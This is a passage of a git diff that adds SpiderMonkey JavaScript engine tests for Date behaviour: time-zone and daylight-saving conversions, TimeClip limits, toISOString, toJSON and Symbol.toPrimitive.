+ assertDateTime(dt, "Sun Mar 08 2009 01:00:00 GMT-0700 (MST)", "Mountain Standard Time");
+ dt.setHours(dt.getHours() + 1);
+ assertDateTime(dt, "Sun Mar 08 2009 03:00:00 GMT-0600 (MDT)", "Mountain Daylight Time");
+});
+inTimeZone("EST5EDT", () => {
+ let dt1 = new Date(Date.UTC(2008, Month.March, 9, 0, 0, 0) + 5 * msPerHour);
+ assertDateTime(dt1, "Sun Mar 09 2008 00:00:00 GMT-0500 (EST)", "Eastern Standard Time");
+
+ let dt2 = new Date(Date.UTC(2008, Month.March, 9, 1, 0, 0) + 5 * msPerHour);
+ assertDateTime(dt2, "Sun Mar 09 2008 01:00:00 GMT-0500 (EST)", "Eastern Standard Time");
+
+ let dt3 = new Date(Date.UTC(2008, Month.March, 9, 4, 0, 0) + 4 * msPerHour);
+ assertDateTime(dt3, "Sun Mar 09 2008 04:00:00 GMT-0400 (EDT)", "Eastern Daylight Time");
+});
+
+// bug 802627
+inTimeZone("EST5EDT", () => {
+ let dt = new Date(0);
+ assertDateTime(dt, "Wed Dec 31 1969 19:00:00 GMT-0500 (EST)", "Eastern Standard Time");
+});
+
+// bug 879261
+inTimeZone("EST5EDT", () => {
+ let dt1 = new Date(1362891600000);
+ assertDateTime(dt1, "Sun Mar 10 2013 00:00:00 GMT-0500 (EST)", "Eastern Standard Time");
+
+ let dt2 = new Date(dt1.setHours(dt1.getHours() + 24));
+ assertDateTime(dt2, "Mon Mar 11 2013 00:00:00 GMT-0400 (EDT)", "Eastern Daylight Time");
+});
+inTimeZone("PST8PDT", () => {
+ let dt1 = new Date(2014, Month.January, 1);
+ assertDateTime(dt1, "Wed Jan 01 2014 00:00:00 GMT-0800 (PST)", "Pacific Standard Time");
+
+ let dt2 = new Date(2014, Month.August, 1);
+ assertDateTime(dt2, "Fri Aug 01 2014 00:00:00 GMT-0700 (PDT)", "Pacific Daylight Time");
+});
+inTimeZone("EST5EDT", () => {
+ let dt1 = new Date(2016, Month.October, 14, 3, 5, 9);
+ assertDateTime(dt1, "Fri Oct 14 2016 03:05:09 GMT-0400 (EDT)", "Eastern Daylight Time");
+
+ let dt2 = new Date(2016, Month.January, 9, 23, 26, 40);
+ assertDateTime(dt2, "Sat Jan 09 2016 23:26:40 GMT-0500 (EST)", "Eastern Standard Time");
+});
+
+// bug 1084547
+inTimeZone("EST5EDT", () => {
+ let dt = new Date(Date.parse("2014-11-02T02:00:00-04:00"));
+ assertDateTime(dt, "Sun Nov 02 2014 01:00:00 GMT-0500 (EST)", "Eastern Standard Time");
+
+ dt.setMilliseconds(0);
+ assertDateTime(dt, "Sun Nov 02 2014 01:00:00 GMT-0400 (EDT)", "Eastern Daylight Time");
+});
+
+// bug 1303306
+inTimeZone("EST5EDT", () => {
+ let dt = new Date(2016, Month.September, 15, 16, 14, 48);
+ assertDateTime(dt, "Thu Sep 15 2016 16:14:48 GMT-0400 (EDT)", "Eastern Daylight Time");
+});
+
+// bug 1317364
+inTimeZone("PST8PDT", () => {
+ let dt = new Date(2016, Month.March, 13, 2, 30, 0, 0);
+ assertDateTime(dt, "Sun Mar 13 2016 03:30:00 GMT-0700 (PDT)", "Pacific Daylight Time");
+
+ let dt2 = new Date(2016, Month.January, 5, 0, 30, 30, 500);
+ assertDateTime(dt2, "Tue Jan 05 2016 00:30:30 GMT-0800 (PST)", "Pacific Standard Time");
+
+ let dt3 = new Date(dt2.getTime());
+ dt3.setMonth(dt2.getMonth() + 2);
+ dt3.setDate(dt2.getDate() + 7 + 1);
+ dt3.setHours(dt2.getHours() + 2);
+
+ assertEq(dt3.getHours(), 3);
+});
+
+// bug 1355272
+inTimeZone("PST8PDT", () => {
+ let dt = new Date(2017, Month.April, 10, 17, 25, 07);
+ assertDateTime(dt, "Mon Apr 10 2017 17:25:07 GMT-0700 (PDT)", "Pacific Daylight Time");
+});
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Date/time-zones.js b/js/src/tests/non262/Date/time-zones.js
new file mode 100644
index 0000000000..da2b328be7
--- /dev/null
+++ b/js/src/tests/non262/Date/time-zones.js
@@ -0,0 +1,261 @@
+// |reftest| skip-if(xulRuntime.OS=="WINNT") -- Windows doesn't accept IANA names for the TZ env variable
+
+// bug 158328
+inTimeZone("Europe/London", () => {
+ let dt1 = new Date(2002, Month.July, 19, 16, 10, 55);
+ assertDateTime(dt1, "Fri Jul 19 2002 16:10:55 GMT+0100 (BST)", "British Summer Time");
+
+ let dt2 = new Date(2009, Month.December, 24, 13, 44, 52);
+ assertDateTime(dt2, "Thu Dec 24 2009 13:44:52 GMT+0000 (GMT)", "Greenwich Mean Time");
+});
+
+// bug 294908
+inTimeZone("America/New_York", () => {
+ let dt = new Date(2003, Month.April, 6, 2, 30, 00);
+ assertDateTime(dt, "Sun Apr 06 2003 03:30:00 GMT-0400 (EDT)", "Eastern Daylight Time");
+});
+
+// bug 610183
+inTimeZone("America/Los_Angeles", () => {
+ let dt = new Date(2014, Month.November, 2, 1, 47, 42);
+ assertDateTime(dt, "Sun Nov 02 2014 01:47:42 GMT-0700 (PDT)", "Pacific Daylight Time");
+});
+
+// bug 629465
+inTimeZone("America/Denver", () => {
+ let dt1 = new Date(Date.UTC(2015, Month.November, 1, 0, 0, 0) + 6 * msPerHour);
+ assertDateTime(dt1, "Sun Nov 01 2015 00:00:00 GMT-0600 (MDT)", "Mountain Daylight Time");
+
+ let dt2 = new Date(Date.UTC(2015, Month.November, 1, 1, 0, 0) + 6 * msPerHour);
+ assertDateTime(dt2, "Sun Nov 01 2015 01:00:00 GMT-0600 (MDT)", "Mountain Daylight Time");
+
+ let dt3 = new Date(Date.UTC(2015, Month.November, 1, 1, 0, 0) + 7 * msPerHour);
+ assertDateTime(dt3, "Sun Nov 01 2015 01:00:00 GMT-0700 (MST)", "Mountain Standard Time");
+});
+
+// bug 637244
+inTimeZone("Europe/Helsinki", () => {
+ let dt1 = new Date(2016, Month.March, 27, 2, 59);
+ assertDateTime(dt1, "Sun Mar 27 2016 02:59:00 GMT+0200 (EET)", "Eastern European Standard Time");
+
+ let dt2 = new Date(2016, Month.March, 27, 3, 0);
+ assertDateTime(dt2, "Sun Mar 27 2016 04:00:00 GMT+0300 (EEST)", "Eastern European Summer Time");
+});
+
+// bug 718175
+inTimeZone("Europe/London", () => {
+ let dt = new Date(0);
+ assertEq(dt.getHours(), 1);
+});
+
+// bug 719274
+inTimeZone("Pacific/Auckland", () => {
+ let dt = new Date(2012, Month.January, 19, 12, 54, 27);
+ assertDateTime(dt, "Thu Jan 19 2012 12:54:27 GMT+1300 (NZDT)", "New Zealand Daylight Time");
+});
+
+// bug 742427
+inTimeZone("Europe/Paris", () => {
+ let dt1 = new Date(2009, Month.March, 29, 1, 0, 0);
+ assertDateTime(dt1, "Sun Mar 29 2009 01:00:00 GMT+0100 (CET)", "Central European Standard Time");
+ dt1.setHours(dt1.getHours() + 1);
+ assertDateTime(dt1, "Sun Mar 29 2009 03:00:00 GMT+0200 (CEST)", "Central European Summer Time");
+
+ let dt2 = new Date(2010, Month.March, 29, 1, 0, 0);
+ assertDateTime(dt2, "Mon Mar 29 2010 01:00:00 GMT+0200 (CEST)", "Central European Summer Time");
+ dt2.setHours(dt2.getHours() + 1);
+ assertDateTime(dt2, "Mon Mar 29 2010 02:00:00 GMT+0200 (CEST)", "Central European Summer Time");
+});
+inTimeZone("America/New_York", () => {
+ let dt = new Date(2009, Month.March, 8, 1, 0, 0);
+ assertDateTime(dt, "Sun Mar 08 2009 01:00:00 GMT-0500 (EST)", "Eastern Standard Time");
+ dt.setHours(dt.getHours() + 1);
+ assertDateTime(dt, "Sun Mar 08 2009 03:00:00 GMT-0400 (EDT)", "Eastern Daylight Time");
+});
+inTimeZone("America/Denver", () => {
+ let dt = new Date(2009, Month.March, 8, 1, 0, 0);
+ assertDateTime(dt, "Sun Mar 08 2009 01:00:00 GMT-0700 (MST)", "Mountain Standard Time");
+ dt.setHours(dt.getHours() + 1);
+ assertDateTime(dt, "Sun Mar 08 2009 03:00:00 GMT-0600 (MDT)", "Mountain Daylight Time");
+});
+inTimeZone("America/New_York", () => {
+ let dt1 = new Date(Date.UTC(2008, Month.March, 9, 0, 0, 0) + 5 * msPerHour);
+ assertDateTime(dt1, "Sun Mar 09 2008 00:00:00 GMT-0500 (EST)", "Eastern Standard Time");
+
+ let dt2 = new Date(Date.UTC(2008, Month.March, 9, 1, 0, 0) + 5 * msPerHour);
+ assertDateTime(dt2, "Sun Mar 09 2008 01:00:00 GMT-0500 (EST)", "Eastern Standard Time");
+
+ let dt3 = new Date(Date.UTC(2008, Month.March, 9, 4, 0, 0) + 4 * msPerHour);
+ assertDateTime(dt3, "Sun Mar 09 2008 04:00:00 GMT-0400 (EDT)", "Eastern Daylight Time");
+});
+inTimeZone("Europe/Paris", () => {
+ let dt1 = new Date(Date.UTC(2008, Month.March, 30, 0, 0, 0) - 1 * msPerHour);
+ assertDateTime(dt1, "Sun Mar 30 2008 00:00:00 GMT+0100 (CET)", "Central European Standard Time");
+
+ let dt2 = new Date(Date.UTC(2008, Month.March, 30, 1, 0, 0) - 1 * msPerHour);
+ assertDateTime(dt2, "Sun Mar 30 2008 01:00:00 GMT+0100 (CET)", "Central European Standard Time");
+
+ let dt3 = new Date(Date.UTC(2008, Month.March, 30, 3, 0, 0) - 2 * msPerHour);
+ assertDateTime(dt3, "Sun Mar 30 2008 03:00:00 GMT+0200 (CEST)", "Central European Summer Time");
+
+ let dt4 = new Date(Date.UTC(2008, Month.March, 30, 4, 0, 0) - 2 * msPerHour);
+ assertDateTime(dt4, "Sun Mar 30 2008 04:00:00 GMT+0200 (CEST)", "Central European Summer Time");
+});
+
+// bug 802627
+inTimeZone("America/New_York", () => {
+ let dt = new Date(0);
+ assertDateTime(dt, "Wed Dec 31 1969 19:00:00 GMT-0500 (EST)", "Eastern Standard Time");
+});
+
+// bug 819820
+inTimeZone("Europe/London", () => {
+ let dt1 = new Date(Date.UTC(2012, Month.October, 28, 0, 59, 59));
+ assertDateTime(dt1, "Sun Oct 28 2012 01:59:59 GMT+0100 (BST)", "British Summer Time");
+
+ let dt2 = new Date(Date.UTC(2012, Month.October, 28, 1, 0, 0));
+ assertDateTime(dt2, "Sun Oct 28 2012 01:00:00 GMT+0000 (GMT)", "Greenwich Mean Time");
+
+ let dt3 = new Date(Date.UTC(2012, Month.October, 28, 1, 59, 59));
+ assertDateTime(dt3, "Sun Oct 28 2012 01:59:59 GMT+0000 (GMT)", "Greenwich Mean Time");
+
+ let dt4 = new Date(Date.UTC(2012, Month.October, 28, 2, 0, 0));
+ assertDateTime(dt4, "Sun Oct 28 2012 02:00:00 GMT+0000 (GMT)", "Greenwich Mean Time");
+});
+
+// bug 879261
+inTimeZone("America/New_York", () => {
+ let dt1 = new Date(1362891600000);
+ assertDateTime(dt1, "Sun Mar 10 2013 00:00:00 GMT-0500 (EST)", "Eastern Standard Time");
+
+ let dt2 = new Date(dt1.setHours(dt1.getHours() + 24));
+ assertDateTime(dt2, "Mon Mar 11 2013 00:00:00 GMT-0400 (EDT)", "Eastern Daylight Time");
+});
+inTimeZone("America/Los_Angeles", () => {
+ let dt1 = new Date(2014, Month.January, 1);
+ assertDateTime(dt1, "Wed Jan 01 2014 00:00:00 GMT-0800 (PST)", "Pacific Standard Time");
+
+ let dt2 = new Date(2014, Month.August, 1);
+ assertDateTime(dt2, "Fri Aug 01 2014 00:00:00 GMT-0700 (PDT)", "Pacific Daylight Time");
+});
+inTimeZone("America/New_York", () => {
+ let dt1 = new Date(2016, Month.October, 14, 3, 5, 9);
+ assertDateTime(dt1, "Fri Oct 14 2016 03:05:09 GMT-0400 (EDT)", "Eastern Daylight Time");
+
+ let dt2 = new Date(2016, Month.January, 9, 23, 26, 40);
+ assertDateTime(dt2, "Sat Jan 09 2016 23:26:40 GMT-0500 (EST)", "Eastern Standard Time");
+});
+
+// bug 994086
+inTimeZone("Europe/Vienna", () => {
+ let dt1 = new Date(2014, Month.March, 30, 2, 0);
+ assertDateTime(dt1, "Sun Mar 30 2014 03:00:00 GMT+0200 (CEST)", "Central European Summer Time");
+
+ let dt2 = new Date(2014, Month.March, 30, 3, 0);
+ assertDateTime(dt2, "Sun Mar 30 2014 03:00:00 GMT+0200 (CEST)", "Central European Summer Time");
+
+ let dt3 = new Date(2014, Month.March, 30, 4, 0);
+ assertDateTime(dt3, "Sun Mar 30 2014 04:00:00 GMT+0200 (CEST)", "Central European Summer Time");
+});
+
+// bug 1084434
+inTimeZone("America/Sao_Paulo", () => {
+ let dt = new Date(2014, Month.October, 19);
+ assertEq(dt.getDate(), 19);
+ assertEq(dt.getHours(), 1);
+ assertDateTime(dt, "Sun Oct 19 2014 01:00:00 GMT-0200 (BRST)", "-02", "Brasilia Summer Time");
+});
+
+// bug 1084547
+inTimeZone("America/New_York", () => {
+ let dt = new Date(Date.parse("2014-11-02T02:00:00-04:00"));
+ assertDateTime(dt, "Sun Nov 02 2014 01:00:00 GMT-0500 (EST)", "Eastern Standard Time");
+
+ dt.setMilliseconds(0);
+ assertDateTime(dt, "Sun Nov 02 2014 01:00:00 GMT-0400 (EDT)", "Eastern Daylight Time");
+});
+
+// bug 1118690
+inTimeZone("Europe/London", () => {
+ let dt = new Date(1965, Month.January, 1);
+ assertEq(dt.getFullYear(), 1965);
+});
+
+// bug 1155096
+inTimeZone("Europe/Moscow", () => {
+ let dt1 = new Date(1981, Month.March, 32);
+ assertEq(dt1.getDate(), 1);
+
+ let dt2 = new Date(1982, Month.March, 32);
+ assertEq(dt2.getDate(), 1);
+
+ let dt3 = new Date(1983, Month.March, 32);
+ assertEq(dt3.getDate(), 1);
+
+ let dt4 = new Date(1984, Month.March, 32);
+ assertEq(dt4.getDate(), 1);
+});
+
+// bug 1284507
+inTimeZone("Atlantic/Azores", () => {
+ let dt1 = new Date(2017, Month.March, 25, 0, 0, 0);
+ assertDateTime(dt1, "Sat Mar 25 2017 00:00:00 GMT-0100 (AZOT)", "-01", "Azores Standard Time");
+
+ let dt2 = new Date(2016, Month.October, 30, 0, 0, 0);
+ assertDateTime(dt2, "Sun Oct 30 2016 00:00:00 GMT+0000 (AZOST)", "+00", "Azores Summer Time");
+
+ let dt3 = new Date(2016, Month.October, 30, 23, 0, 0);
+ assertDateTime(dt3, "Sun Oct 30 2016 23:00:00 GMT-0100 (AZOT)", "-01", "Azores Standard Time");
+});
+
+// bug 1303306
+inTimeZone("America/New_York", () => {
+ let dt = new Date(2016, Month.September, 15, 16, 14, 48);
+ assertDateTime(dt, "Thu Sep 15 2016 16:14:48 GMT-0400 (EDT)", "Eastern Daylight Time");
+});
+
+// bug 1317364
+inTimeZone("America/Los_Angeles", () => {
+ let dt = new Date(2016, Month.March, 13, 2, 30, 0, 0);
+ assertDateTime(dt, "Sun Mar 13 2016 03:30:00 GMT-0700 (PDT)", "Pacific Daylight Time");
+
+ let dt2 = new Date(2016, Month.January, 5, 0, 30, 30, 500);
+ assertDateTime(dt2, "Tue Jan 05 2016 00:30:30 GMT-0800 (PST)", "Pacific Standard Time");
+
+ let dt3 = new Date(dt2.getTime());
+ dt3.setMonth(dt2.getMonth() + 2);
+ dt3.setDate(dt2.getDate() + 7 + 1);
+ dt3.setHours(dt2.getHours() + 2);
+
+ assertEq(dt3.getHours(), 3);
+});
+
+// bug 1335818
+inTimeZone("Asia/Jerusalem", () => {
+ let dt1 = new Date(2013, Month.March, 22, 1, 0, 0, 0);
+ assertDateTime(dt1, "Fri Mar 22 2013 01:00:00 GMT+0200 (IST)", "Israel Standard Time");
+
+ let dt2 = new Date(2013, Month.March, 22, 2, 0, 0, 0);
+ assertDateTime(dt2, "Fri Mar 22 2013 02:00:00 GMT+0200 (IST)", "Israel Standard Time");
+
+ let dt3 = new Date(2013, Month.March, 22, 3, 0, 0, 0);
+ assertDateTime(dt3, "Fri Mar 22 2013 03:00:00 GMT+0200 (IST)", "Israel Standard Time");
+
+ let dt4 = new Date(2013, Month.March, 29, 1, 0, 0, 0);
+ assertDateTime(dt4, "Fri Mar 29 2013 01:00:00 GMT+0200 (IST)", "Israel Standard Time");
+
+ let dt5 = new Date(2013, Month.March, 29, 2, 0, 0, 0);
+ assertDateTime(dt5, "Fri Mar 29 2013 03:00:00 GMT+0300 (IDT)", "Israel Daylight Time");
+
+ let dt6 = new Date(2013, Month.March, 29, 3, 0, 0, 0);
+ assertDateTime(dt6, "Fri Mar 29 2013 03:00:00 GMT+0300 (IDT)", "Israel Daylight Time");
+});
+
+// bug 1355272
+inTimeZone("America/Los_Angeles", () => {
+ let dt = new Date(2017, Month.April, 10, 17, 25, 07);
+ assertDateTime(dt, "Mon Apr 10 2017 17:25:07 GMT-0700 (PDT)", "Pacific Daylight Time");
+});
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Date/timeclip.js b/js/src/tests/non262/Date/timeclip.js
new file mode 100644
index 0000000000..50bde39e77
--- /dev/null
+++ b/js/src/tests/non262/Date/timeclip.js
@@ -0,0 +1,42 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommonn.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 747197;
+var summary = "TimeClip behavior for very large numbers";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function addToLimit(n) { return 8.64e15 + n; }
+
+assertEq(8.64e15 === addToLimit(0.0), true);
+assertEq(8.64e15 === addToLimit(0.5), true);
+assertEq(8.64e15 === addToLimit(0.5000000000000001), false);
+
+var times =
+ [Number.MAX_VALUE,
+ -Number.MAX_VALUE,
+ Infinity,
+ -Infinity,
+ addToLimit(0.5000000000000001),
+ -addToLimit(0.5000000000000001)];
+
+for (var i = 0, len = times.length; i < len; i++)
+{
+ var d = new Date();
+ assertEq(d.setTime(times[i]), NaN, "times[" + i + "]");
+ assertEq(d.getTime(), NaN);
+ assertEq(d.valueOf(), NaN);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Date/toISOString-01.js b/js/src/tests/non262/Date/toISOString-01.js
new file mode 100644
index 0000000000..cc300a6604
--- /dev/null
+++ b/js/src/tests/non262/Date/toISOString-01.js
@@ -0,0 +1,53 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/publicdomain/zero/1.0/ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 730831;
+var summary = 'Date.prototype.toISOString returns an invalid ISO-8601 string';
+
+print(BUGNUMBER + ": " + summary);
+
+function iso(t) {
+ return new Date(t).toISOString();
+}
+
+function utc(year, month, day, hour, minute, second, millis) {
+ var date = new Date(0);
+ date.setUTCFullYear(year, month - 1, day);
+ date.setUTCHours(hour, minute, second, millis);
+ return date.getTime();
+}
+
+
+// Values around maximum date for simple iso format.
+var maxDateSimple = utc(9999, 12, 31, 23, 59, 59, 999);
+assertEq(iso(maxDateSimple - 1), "9999-12-31T23:59:59.998Z");
+assertEq(iso(maxDateSimple ), "9999-12-31T23:59:59.999Z");
+assertEq(iso(maxDateSimple + 1), "+010000-01-01T00:00:00.000Z");
+
+
+// Values around minimum date for simple iso format.
+var minDateSimple = utc(0, 1, 1, 0, 0, 0, 0);
+assertEq(iso(minDateSimple - 1), "-000001-12-31T23:59:59.999Z");
+assertEq(iso(minDateSimple ), "0000-01-01T00:00:00.000Z");
+assertEq(iso(minDateSimple + 1), "0000-01-01T00:00:00.001Z");
+
+
+// Values around maximum date for extended iso format.
+var maxDateExtended = utc(+275760, 9, 13, 0, 0, 0, 0);
+assertEq(maxDateExtended, +8.64e15);
+assertEq(iso(maxDateExtended - 1), "+275760-09-12T23:59:59.999Z");
+assertEq(iso(maxDateExtended ), "+275760-09-13T00:00:00.000Z");
+assertThrowsInstanceOf(() => iso(maxDateExtended + 1), RangeError);
+
+
+// Values around minimum date for extended iso format.
+var minDateExtended = utc(-271821, 4, 20, 0, 0, 0, 0);
+assertEq(minDateExtended, -8.64e15);
+assertThrowsInstanceOf(() => iso(minDateExtended - 1), RangeError);
+assertEq(iso(minDateExtended ), "-271821-04-20T00:00:00.000Z");
+assertEq(iso(minDateExtended + 1), "-271821-04-20T00:00:00.001Z");
+
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Date/toISOString.js b/js/src/tests/non262/Date/toISOString.js
new file mode 100644
index 0000000000..9eb4129345
--- /dev/null
+++ b/js/src/tests/non262/Date/toISOString.js
@@ -0,0 +1,24 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function throwsRangeError(t) {
+ try {
+ var date = new Date();
+ date.setTime(t);
+ var r = date.toISOString();
+ throw new Error("toISOString didn't throw, instead returned " + r);
+ } catch (err) {
+ assertEq(err instanceof RangeError, true, 'wrong error: ' + err);
+ return;
+ }
+ assertEq(0, 1, 'not good, nyan, nyan');
+}
+
+throwsRangeError(Infinity);
+throwsRangeError(-Infinity);
+throwsRangeError(NaN);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Date/toJSON-01.js b/js/src/tests/non262/Date/toJSON-01.js
new file mode 100644
index 0000000000..4a756aab54
--- /dev/null
+++ b/js/src/tests/non262/Date/toJSON-01.js
@@ -0,0 +1,238 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'toJSON-01.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 584811;
+var summary = "Date.prototype.toJSON isn't to spec";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var called;
+
+var dateToJSON = Date.prototype.toJSON;
+assertEq(Date.prototype.hasOwnProperty("toJSON"), true);
+assertEq(typeof dateToJSON, "function");
+
+// brief test to exercise this outside of isolation, just for sanity
+var invalidDate = new Date();
+invalidDate.setTime(NaN);
+assertEq(JSON.stringify({ p: invalidDate }), '{"p":null}');
+
+
+/* 15.9.5.44 Date.prototype.toJSON ( key ) */
+assertEq(dateToJSON.length, 1);
+
+/*
+ * 1. Let O be the result of calling ToObject, giving it the this value as its
+ * argument.
+ */
+try
+{
+ dateToJSON.call(null);
+ throw new Error("should have thrown a TypeError");
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "ToObject throws TypeError for null/undefined");
+}
+
+try
+{
+ dateToJSON.call(undefined);
+ throw new Error("should have thrown a TypeError");
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "ToObject throws TypeError for null/undefined");
+}
+
+
+/*
+ * 2. Let tv be ToPrimitive(O, hint Number).
+ * ...expands to:
+ * 1. Let valueOf be the result of calling the [[Get]] internal method of object O with argument "valueOf".
+ * 2. If IsCallable(valueOf) is true then,
+ * a. Let val be the result of calling the [[Call]] internal method of valueOf, with O as the this value and
+ * an empty argument list.
+ * b. If val is a primitive value, return val.
+ * 3. Let toString be the result of calling the [[Get]] internal method of object O with argument "toString".
+ * 4. If IsCallable(toString) is true then,
+ * a. Let str be the result of calling the [[Call]] internal method of toString, with O as the this value and
+ * an empty argument list.
+ * b. If str is a primitive value, return str.
+ * 5. Throw a TypeError exception.
+ */
+try
+{
+ var r = dateToJSON.call({ get valueOf() { throw 17; } });
+ throw new Error("didn't throw, returned: " + r);
+}
+catch (e)
+{
+ assertEq(e, 17, "bad exception: " + e);
+}
+
+called = false;
+assertEq(dateToJSON.call({ valueOf: null,
+ toString: function() { called = true; return 12; },
+ toISOString: function() { return "ohai"; } }),
+ "ohai");
+assertEq(called, true);
+
+called = false;
+assertEq(dateToJSON.call({ valueOf: function() { called = true; return 42; },
+ toISOString: function() { return null; } }),
+ null);
+assertEq(called, true);
+
+try
+{
+ called = false;
+ dateToJSON.call({ valueOf: function() { called = true; return {}; },
+ get toString() { throw 42; } });
+}
+catch (e)
+{
+ assertEq(called, true);
+ assertEq(e, 42, "bad exception: " + e);
+}
+
+called = false;
+assertEq(dateToJSON.call({ valueOf: function() { called = true; return {}; },
+ get toString() { return function() { return 8675309; }; },
+ toISOString: function() { return true; } }),
+ true);
+assertEq(called, true);
+
+var asserted = false;
+called = false;
+assertEq(dateToJSON.call({ valueOf: function() { called = true; return {}; },
+ get toString()
+ {
+ assertEq(called, true);
+ asserted = true;
+ return function() { return 8675309; };
+ },
+ toISOString: function() { return NaN; } }),
+ NaN);
+assertEq(asserted, true);
+
+try
+{
+ var r = dateToJSON.call({ valueOf: null, toString: null,
+ get toISOString()
+ {
+ throw new Error("shouldn't have been gotten");
+ } });
+ throw new Error("didn't throw, returned: " + r);
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true, "bad exception: " + e);
+}
+
+
+/* 3. If tv is a Number and is not finite, return null. */
+assertEq(dateToJSON.call({ valueOf: function() { return Infinity; } }), null);
+assertEq(dateToJSON.call({ valueOf: function() { return -Infinity; } }), null);
+assertEq(dateToJSON.call({ valueOf: function() { return NaN; } }), null);
+
+assertEq(dateToJSON.call({ valueOf: function() { return Infinity; },
+ toISOString: function() { return {}; } }), null);
+assertEq(dateToJSON.call({ valueOf: function() { return -Infinity; },
+ toISOString: function() { return []; } }), null);
+assertEq(dateToJSON.call({ valueOf: function() { return NaN; },
+ toISOString: function() { return undefined; } }), null);
+
+
+/*
+ * 4. Let toISO be the result of calling the [[Get]] internal method of O with
+ * argument "toISOString".
+ */
+try
+{
+ var r = dateToJSON.call({ get toISOString() { throw 42; } });
+ throw new Error("didn't throw, returned: " + r);
+}
+catch (e)
+{
+ assertEq(e, 42, "bad exception: " + e);
+}
+
+
+/* 5. If IsCallable(toISO) is false, throw a TypeError exception. */
+try
+{
+ var r = dateToJSON.call({ toISOString: null });
+ throw new Error("didn't throw, returned: " + r);
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true, "bad exception: " + e);
+}
+
+try
+{
+ var r = dateToJSON.call({ toISOString: undefined });
+ throw new Error("didn't throw, returned: " + r);
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true, "bad exception: " + e);
+}
+
+try
+{
+ var r = dateToJSON.call({ toISOString: "oogabooga" });
+ throw new Error("didn't throw, returned: " + r);
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true, "bad exception: " + e);
+}
+
+try
+{
+ var r = dateToJSON.call({ toISOString: Math.PI });
+ throw new Error("didn't throw, returned: " + r);
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true, "bad exception: " + e);
+}
+
+
+/*
+ * 6. Return the result of calling the [[Call]] internal method of toISO with O
+ * as the this value and an empty argument list.
+ */
+var o =
+ {
+ toISOString: function(a)
+ {
+ called = true;
+ assertEq(this, o);
+ assertEq(a, undefined);
+ assertEq(arguments.length, 0);
+ return obj;
+ }
+ };
+var obj = {};
+called = false;
+assertEq(dateToJSON.call(o), obj, "should have gotten obj back");
+assertEq(called, true);
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/Date/toPrimitive.js b/js/src/tests/non262/Date/toPrimitive.js
new file mode 100644
index 0000000000..11346b1ae8
--- /dev/null
+++ b/js/src/tests/non262/Date/toPrimitive.js
@@ -0,0 +1,62 @@
+// ES6 20.3.4.45 Date.prototype[@@toPrimitive](hint)
+
+// The toPrimitive method throws if the this value isn't an object.
+var toPrimitive = Date.prototype[Symbol.toPrimitive];
+assertThrowsInstanceOf(() => toPrimitive.call(undefined, "default"), TypeError);
+assertThrowsInstanceOf(() => toPrimitive.call(3, "default"), TypeError);
+
+// It doesn't have to be a Date object, though.
+var obj = {
+ toString() { return "str"; },
+ valueOf() { return "val"; }
+};
+assertEq(toPrimitive.call(obj, "number"), "val");
+assertEq(toPrimitive.call(obj, "string"), "str");
+assertEq(toPrimitive.call(obj, "default"), "str");
+
+// It throws if the hint argument is missing or not one of the three allowed values.
+assertThrowsInstanceOf(() => toPrimitive.call(obj), TypeError);
+assertThrowsInstanceOf(() => toPrimitive.call(obj, undefined), TypeError);
+assertThrowsInstanceOf(() => toPrimitive.call(obj, "boolean"), TypeError);
+assertThrowsInstanceOf(() => toPrimitive.call(obj, ["number"]), TypeError);
+assertThrowsInstanceOf(() => toPrimitive.call(obj, {toString() { throw "FAIL"; }}), TypeError);
+
+// The next few tests cover the OrdinaryToPrimitive algorithm, specified in
+// ES6 7.1.1 ToPrimitive(input [, PreferredType]).
+
+// Date.prototype.toString or .valueOf can be overridden.
+var dateobj = new Date();
+Date.prototype.toString = function () {
+ assertEq(this, dateobj);
+ return 14;
+};
+Date.prototype.valueOf = function () {
+ return "92";
+};
+assertEq(dateobj[Symbol.toPrimitive]("number"), "92");
+assertEq(dateobj[Symbol.toPrimitive]("string"), 14);
+assertEq(dateobj[Symbol.toPrimitive]("default"), 14);
+assertEq(dateobj == 14, true); // equality comparison: passes "default"
+
+// If this.toString is a non-callable value, this.valueOf is called instead.
+Date.prototype.toString = {};
+assertEq(dateobj[Symbol.toPrimitive]("string"), "92");
+assertEq(dateobj[Symbol.toPrimitive]("default"), "92");
+
+// And vice versa.
+Date.prototype.toString = function () { return 15; };
+Date.prototype.valueOf = "ponies";
+assertEq(dateobj[Symbol.toPrimitive]("number"), 15);
+
+// If neither is callable, it throws a TypeError.
+Date.prototype.toString = "ponies";
+assertThrowsInstanceOf(() => dateobj[Symbol.toPrimitive]("default"), TypeError);
+
+// Surface features.
+assertEq(toPrimitive.name, "[Symbol.toPrimitive]");
+var desc = Object.getOwnPropertyDescriptor(Date.prototype, Symbol.toPrimitive);
+assertEq(desc.configurable, true);
